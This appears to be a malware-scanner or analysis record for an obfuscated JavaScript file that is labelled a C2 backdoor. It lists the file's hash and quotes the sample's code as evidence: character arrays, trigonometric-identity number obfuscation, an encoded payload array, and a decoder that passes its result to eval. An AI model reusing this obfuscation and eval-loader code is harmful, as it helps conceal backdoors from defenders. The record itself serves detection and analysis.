20151217_c1de7f210a45a2858b3c3aa2f3916f5a.js
obfuscated eval C2 backdoor
Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression
SHA-2565d39560a85a75a9d66d9de50a1c49c4036d2445f992bfb7144795543e558b17f
MaleculeO₂(As₄C)H₂(Db₂Po)
Evidence
2:158… 'a','P','1','$',' ','p','@','x','7','g','=','b','$','2','O','C',String.fromCharCode(10),'i','(','1','m','F','x','/','1','Y','s','d','{','(',String.fromCharCode(13),'H','Y','2','R','%','(','y','T','O','&','@','h' …
2:1854… 'm','6','O','*','C','+','Z','i','v','J','&','s','{','[','b',' ',String.fromCharCode(92),',','b','T',']','o','g','M','H','e','^','H','j','1','!','_','I',' ','D','I','3','E','`','6','o','a','a','/','n','S','{','b','O','c','y','C','Q','y','s',':','2','H','d …
4:44… sXowZy){krwb=KXGMNLBLBBzLJcQYF(ysXPuOndjoW,mIOxXzyGYozos);nLQCG=krwb.toString(mCsXowZy);return nLQCG;}
5function xDKOizTpVQAdPJP(wjqLNcTYIYwIwCBAh,ieeeqRWUiyCBXHKIOuALcqTOdlISQTkiuU,DDepoZXqscEJKiqLDDhwbRtLvZZdURqwqSi){eval(wjqLNcTYIYwIwCBAh);}
6function XpLtnBXlsAYsPqzdJimXHbJBxSREGwRftikzbtIQzSlgnTehmMVTvi(RxgSTeRBDKWJA,HiozepojItHLXn){ return YicEgQI[yyvdDALP[LDNBw(RxgSTeRBDKWJA[HiozepojItHLXn],(21235+549)/778,(2938+832)/377)]];}
7function Uvhokhf(DsEwFgZIXtPmbIeogfZgykEXzGfZbqsETZmT) {return !JpeANkNRlRi(OChqTIqzCblVNfj(DsEwFgZIXtPmbIeogfZgykEXzGfZbqsETZmT)) && ajeLSuqRpxLo(DsEwFgZIXtPmbIeogfZgykEXzGfZbqsETZmT);}
8function JpeANkNRlRi(IxpBnxOYYlpWIP) {return isNaN(IxpBnxOYYlpWIP);}
9function ajeLSuqRpxLo(vwPSWxuOyNQsM) {return isFinite(vwPSWxuOyNQsM);}
10function KXGMNLBLBBzLJcQYF(GvLAIPagqy,lFJYSRqLpl) {return parseInt(GvLAIPagqy,lFJYSRqLpl);}
11function OChqTIq …
12:33… huVXAaz,eIxlCiqTnuP) {wLVQwwJWXzIDcL[lQvNnihuVXAaz]=eIxlCiqTnuP;}
13var M = new Array();M[0]=[];M[0][0]='d';M[0][1]='a';M[0][2]='d';M[0][3]='a';M[0][4]='46';M[0][5]='3d';M[0][6]='42';M[0][7]='14';M[0][8]='2h';M[0][9]='14';M[0][10]='25';M[0][11]='14';M[0][12]='16';M[0][13]='47';M[0][14]='3k';M[0][15]='3d';M[0][16]='44';M[0][17]='3g';M[0][18]='3l';M[0][19]='3g';M[0][20]='49';M[0][21]='3 …
19:30… ],M[4],M[5]];
20var aQXOwQwwN=[];
21function CkYAKjCMOwnaGgAcB(PwMkm){iSsqSablnZR= '';JlTDKTpjknI=Math.round((Math.pow(Math.sin(705), 2) + Math.pow(Math.cos(705), 2) - 1));while(true){if (JlTDKTpjknI >= (1641+783)/404){break;}aQXOwQwwN[JlTDKTpjknI]=Math.round((Math.pow(Math.sin(638), 2) + Math.pow(Math.cos(638), 2) - 1)); while(true) { if(aQXOwQwwN[JlTDKTpjknI] > PwMkm[JlTDKTpjknI].length-(-708+875)/167) { break; } if (Uvhokhf(LDNBw(PwMkm[JlTDKTpjknI][aQXOwQwwN[JlTDKTpjknI]],(20254+746)/750,(8384+316)/870))) {iSsqSablnZR += XpLtnBXlsAYsPqzdJimXHbJBxSREGwRftikzbtIQzSlgnTehmMVTvi([PwMkm[JlTDKTpjknI][aQXOwQwwN[JlTDKTpjknI]]], Math.round((Math.pow(Math.sin(163), 2) + Math.pow(Math.cos(163), 2) - 1)));} aQXOwQwwN[JlTDKTpjknI]++;}JlTDKTpjknI++;} return iSsqSablnZR}
22var tHqROLXTPbrtBAEIlVWlmkWeWeRSUlcHZ = 'cgdRSUyLQeqJjvlhbOyblGBlovbndDnxVSpu';var FfPDMDqCjhJdJlwPMdDYfCnATiLtgCit = 'VmcNZzwfxumGBEpcTKTrNjlCdebhaTanlggk';xDKOizTpVQAdPJP(CkYAKjCMOwnaGgAcB(PwMkm),tHqROLXTPbrtBAEIlVWlmkWeWeRSUlcHZ,FfPDMDqCjhJdJlwPMdDYfCnATiLtgCit);